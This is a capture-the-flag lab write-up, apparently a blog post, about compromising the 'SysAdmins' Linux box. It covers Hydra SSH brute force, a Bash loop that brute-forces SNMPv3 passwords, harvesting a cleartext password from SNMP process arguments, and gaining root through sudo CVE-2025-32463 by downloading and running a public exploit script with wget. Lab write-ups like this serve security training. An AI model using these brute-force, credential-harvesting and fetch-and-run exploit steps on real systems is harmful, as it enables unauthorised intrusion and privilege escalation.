SysAdmins

Objective: Perform a penetration test against a sensitive Linux server, enumerate the machine, identify vulnerabilities, and elevate privileges to root.

Challenge Lab: SysAdmins (Medium)

1. Initial Reconnaissance

We started with an Nmap scan to identify open ports and services.

                                                                                                                                                 
┌──(kali㉿kali)-[~/Downloads]
└─$ nmap -A  10.0.24.57
Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-05 19:10 -0500
Nmap scan report for 10.0.24.57
Host is up (0.14s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             742 Jul 13 12:39 data_breach_notification.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.0.0.247
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e7:26:9a:a9:16:cb:fc:82:4b:dd:f9:85:60:86:70:8d (ECDSA)
|_  256 c8:ae:e8:56:7b:51:c5:49:8b:42:c0:dd:df:02:56:eb (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Sysadmins - System Administration Services
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=11/5%OT=21%CT=1%CU=41015%PV=Y%DS=3%DC=T%G=Y%TM=6AED1B2
OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=110%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=105%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%
OS:CI=Z%II=I%TS=A)SEQ(SP=FE%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=FF%GCD
OS:=1%ISR=10B%TI=Z%CI=Z%TS=A)OPS(O1=M510ST11NW7%O2=M510ST11NW7%O3=M510NNT11
OS:NW7%O4=M510ST11NW7%O5=M510ST11NW7%O6=M510ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B
OS:3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M510NNSNW7%CC=Y%Q=)
OS:T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T
OS:6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=1
OS:64%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Scan Results:

• 21/tcp open ftp vsftpd 3.0.5 (Anonymous FTP login allowed)
• 22/tcp open ssh OpenSSH 9.6p1 Ubuntu
• 80/tcp open http nginx 1.24.0 (Ubuntu)

The Nmap scan revealed that anonymous FTP login is enabled. Let’s check what’s inside.

ftp 10.0.24.57
# Name: anonymous
# Password: (press Enter)

ftp> get data_breach_notification.txt
ftp> bye

Reading the file reveals a crucial clue: a data breach notification pointing to a Pastebin link containing leaked user credentials.

...a threat actor accessed our systems... exfiltrated some users' passwords... 
https[:]//pastebin[.]com/mqPMU1cF

Leaked password

We accessed the Pastebin, extracted the leaked passwords, and created a custom wordlist (passwords.txt).

2. Enumeration and Initial Access

Exploring the web server on port 80, we found a “Team” section that allowed us to enumerate potential usernames:

Team

We attempted to brute-force SSH with these users and the leaked passwords using Hydra, but it yielded no results.

hydra -L users.txt -P passwords.txt -t 64 ssh://10.0.24.57
# [DATA] 0 valid password found

┌──(kali㉿kali)-[~/Documents/sysadmin]
└─$ hydra -L users.txt -P passwords.txt -t 64 ssh://10.0.24.57
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-11-05 20:14:26
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 300 login tries (l:3/p:100), ~5 tries per task
[DATA] attacking ssh://10.0.24.57:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-11-05 20:15:11

Pivoting to UDP: Since SSH didn’t work, we scanned the UDP ports.

┌──(kali㉿kali)-[~/Documents/sysadmin]
└─$ sudo nmap -sU --top-ports 100 -T4 10.0.24.57
[sudo] password for kali: 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-05 20:49 -0500
Warning: 10.0.24.57 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.0.24.57
Host is up (0.14s latency).
Not shown: 86 closed udp ports (port-unreach)
PORT      STATE         SERVICE
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
161/udp   open          snmp
177/udp   open|filtered xdmcp
443/udp   open|filtered https
998/udp   open|filtered puparp
999/udp   open|filtered applix
1026/udp  open|filtered win-rpc
1813/udp  open|filtered radacct
1900/udp  open|filtered upnp
3703/udp  open|filtered adobeserver-3
5353/udp  open|filtered zeroconf
5632/udp  open|filtered pcanywherestat
49201/udp open|filtered unknown

Port 161/udp (SNMP) was open. A quick check with Nmap revealed it was using net-snmp and responding to SNMPv3 probes.

──(kali㉿kali)-[~/Documents/sysadmin]
└─$ sudo nmap -sU -p 161 --script snmp-info 10.0.24.57
Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-05 21:07 -0500
Nmap scan report for 10.0.24.57
Host is up (0.14s latency).

PORT    STATE SERVICE
161/udp open  snmp
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 13f3f36692d0546a00000000
|   snmpEngineBoots: 10
|_  snmpEngineTime: 2h46m18s

Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds

We tested the SNMPv3 users from the web page. helena and peter were not registered, but waserby returned an authorizationError, confirming the user exists.

┌──(kali㉿kali)-[~/Documents/sysadmin]
└─$ snmpwalk -v3 -l noAuthNoPriv -u helena 10.0.24.57 
snmpwalk: Unknown user name
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Documents/sysadmin]
└─$ snmpwalk -v3 -l noAuthNoPriv -u peter  10.0.24.57
snmpwalk: Unknown user name
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Documents/sysadmin]
└─$ snmpwalk -v3 -l noAuthNoPriv -u waserby  10.0.24.57
Error in packet.
Reason: authorizationError (access denied to that object)

We wrote a quick Bash script to brute-force the SNMPv3 authentication using our leaked password list.

while read -r pass; do
  result=$(snmpget -v3 -l authNoPriv -u waserby -a MD5 -A "$pass" 10.0.24.57 1.3.6.1.2.1.1.1.0 2>&1)
  if echo "$result" | grep -q "STRING"; then
    echo "FOUND PASSWORD: $pass"
    break
  fi     
done < passwords.txt

FOUND PASSWORD: butterfly
Saída do servidor: iso.3.6.1.2.1.1.1.0 = STRING: "Linux sysadmins 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64"

Now, we performed an snmpbulkwalk to dump all SNMP information.

snmpbulkwalk -v3 -l authNoPriv -u waserby -a MD5 -A "butterfly" 10.0.24.57 .1 > snmp_dump.txt

The Magic OID: We searched for the hrSWRunParameters OID (1.3.6.1.2.1.25.4.2.1.5). This OID leaks the command-line arguments of running processes, which often contain cleartext credentials.

grep "3.6.1.2.1.25.4.2.1.5" snmp_dump.txt

iso.3.6.1.2.1.25.4.2.1.5.3584 = STRING: "-c sshpass -p 'PerfectIsTheEnemyOfDone223!' ssh helena@sysadmins; sleep 60"

We successfully captured Helena’s cleartext password: PerfectIsTheEnemyOfDone223!.

3. Foothold and User Flag

Using the harvested credentials, we logged in via SSH.

SSH

Once inside, we grabbed the user flag from /home/helena/user.txt.

cat ~/user.txt

4. Privilege Escalation

We checked our privileges, but helena was a standard user with no sudo rights.

id
# uid=1000(helena) gid=1000(helena) groups=1000(helena)

We enumerated cron jobs and writable files, but nothing obvious stood out. We then checked the installed version of sudo.

sudo --version
# Sudo version 1.9.16p2

Vulnerability Discovered: This specific version of Sudo is vulnerable to CVE-2025–32463 (aka “chwoot”). This vulnerability allows a local user to escalate privileges to root via the --chroot (-R) option, even if they are not in the sudoers file.

Get Cardosoleo’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Verification:
We ran the following command to check if the system was vulnerable. If it returns a “No such file or directory” error, it is vulnerable.

sudo -R woot woot
# sudo: woot: No such file or directory

Exploitation:
We downloaded a public Proof of Concept (PoC) for the exploit.

wget https://raw.githubusercontent.com/pr0v3rbs/CVE-2025-32463_chwoot/main/sudo-chwoot.sh
chmod +x sudo-chwoot.sh
./sudo-chwoot.sh

The exploit successfully executed and dropped us into a root shell.

woot!
# id
uid=0(root) gid=0(root) groups=0(root)

We successfully escalated our privileges to root and completed the machine!